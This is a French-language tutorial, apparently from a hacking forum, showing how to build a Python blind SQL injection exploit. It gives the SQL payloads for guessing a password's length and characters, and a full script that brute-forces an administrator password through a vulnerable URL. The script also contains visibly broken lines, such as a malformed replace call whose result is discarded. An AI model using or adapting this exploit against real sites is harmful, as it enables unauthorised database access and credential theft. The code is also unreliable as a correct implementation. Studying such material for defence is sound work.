Blind SQL Injection

Ici, je ne vais pas me casser la tête à vous apprendre les blind sql injection (peut être une autre fois), je vais seulement vous montrer comment créer un exploit en python pour exploiter ce genre de faille.

Bien sûr on pourrait tout simplement deviner le mot de passe à la main, mais non. Pourquoi faire compliqué quand on peut faire simple.

A la fin de ce tuto, plus jamais vous ne bruteforcerez de mot de passe à la main comme (excusez du langage) un gros con, car on va tout simplement programmer un bruteforceur inteligent qui fera tout à notre place.

Ce dont on aura besoin :

On va partir du fait qu'on a déjà localisé l'url faillible, et on est sûr qu'il y a une injection aveugle dedans. Disons par exemple que l'url cible soit : https://www.monsite.com/script.php?id=2

Si vous vous rappelez de votre cours sur les blind SQL injection vous saurez qu'il y a un résultat affiché pour vrai, et un autre totalement différent pour faux. Nous on a besoin du vrai qui n'apparait pas dans le faux (c'est possible que le vrai apparaisse aussi dans le faux). Nous prendrons par exemple "admin" comme message pour vrai.

Il nous faudra aussi l'ID du password à deviner, en temps normal vous devrez la chercher, mais moi je prendrai par défaut "passwd".

Il ne nous manque plus que la longueur MAX que vous autoriserez pour le pass, disons 50.

Bien, normalement, on a en théorie tout ce qu'il nous faut pour bruteforcer le password maintenant, on passe à la pratique.

Le TP :

Le code comme je l'ai citer plus haut sera du python, python et rien que du python.

On va tout d'abord injecter une requète SQL qui va nous permettre de bruteforcer la longueur du password :

 code : sql

length(passwd) = i -- avec i un compteur qu'on incrémente

Une fois la longueur du mot de passe trouvée, on va attaquer la partie intéressante qui est le bruteforcing.

Pour ce faire, on va utiliser la requète suivante :

 code : sql
substring(passwd, i, 1) = char(c) -- avec c un entier qu'on incrémente à chaque boucle, i la longueur du pass (i s'incrémante à chaque fois qu'on tombe sur le message "vrai")

Je pense que vous savez passer des arguments à la ligne de commande en python, car ce sera nécessaire :

 code : python

#!/usr/bin/python
# -*- coding: utf-8 -*-


import os, sys, urllib ;

def main () :
  os.system("clear") ;
  if len(sys.argv) < 5 : #menu help
    print ("""
\t\t[-------------------------------]
\t\t[ exploit : Blind SQL Injection ]
\t\t[          By  unn@med          ]
\t\t[      Copyright 2009-2010      ]
\t\t[-------------------------------]
========================================================================
This is an exploit written by unn@med for < www.zenk-security.com >
It's used to find passWord using a located blind SQL Injection flaw
========================================================================
how to use : python b_sql_inj.py [PATH] [FORM_ID] [FORM_LENGTH] [TRUE]
========================================================================
Path := The vulnerable url (page containing the flaw)
From id := Form ID to find (ex : password, pass, mdp ...)
Length := Max length of passWord to find
True := Message shown when blind sql injection succed
========================================================================
for bug report, em@il me < unn@med.com >
"""
) ;
    raw_input () ;
  else :
    print ("") ;
    path = sys.argv[1] ;
    formId = sys.argv[2] ;
    try :
      length = int(sys.argv[3]) ;
    except :
      print ("[-] Failed while initializing LENGTH variable ...") ;
      raw_input () ;
      exit (False) ;
    i = 4 ;
    tr = "" ;
    while i < len(sys.argv) :
      tr += sys.argv[i] ;
      i += 1 ;
    print ("[+] Starting exploit ...") ;
    length = bf_length (length, path, tr, formId) ;
    if length == -1 :
      print ("[-] Failed while obtaining passWord length ...") ;
      raw_input () ;
      exit (True) ;
    else :
      p = bf_pass (length, path, tr, formId) ;
      print ("[+] We found the passWord : " + p) ;
      raw_input () ;

def bf_length (length, path, tr, formId) :
  print ("[+] We are trying to find passWord length ...") ;
  i = 1 ;
  while (i <= length) :
    try :
      url = path + urllib.urlencode({"q":" and length(" + formId + ")=" + str(i)}) ;
      url.replace ("q=""") ;
      stream = urllib.urlopen(url).read() ;
      if stream.find (tr) != -1 :
        print ("[+] Password length : " + str(i) + " ...") ;
        return i ;
      i += 1 ;
    except :
      print ("[-] Invalid URL") ;
      break ;
  return -1 ;

def bf_pass (length, path, tr, formId) :
  print ("[+] We are now bruteForcing the password ...") ;
  i, code, mdp = 1, 32, "" ;
  while i <= length :
    url = path + urllib.urlencode({"q":" and substring(" + formId + ", " + str(i) + ", 1) = char (" + str(code) + ")"}) ;
    url.replace ("q=", "") ;
    stream = urllib.urlopen(url).read() ;
    if stream.find (tr) != -1 :
      mdp += chr(code) ;
      i += 1 ;
      code = 32 ;
    else :
      code += 1 ;
  return mdp ;

main () ;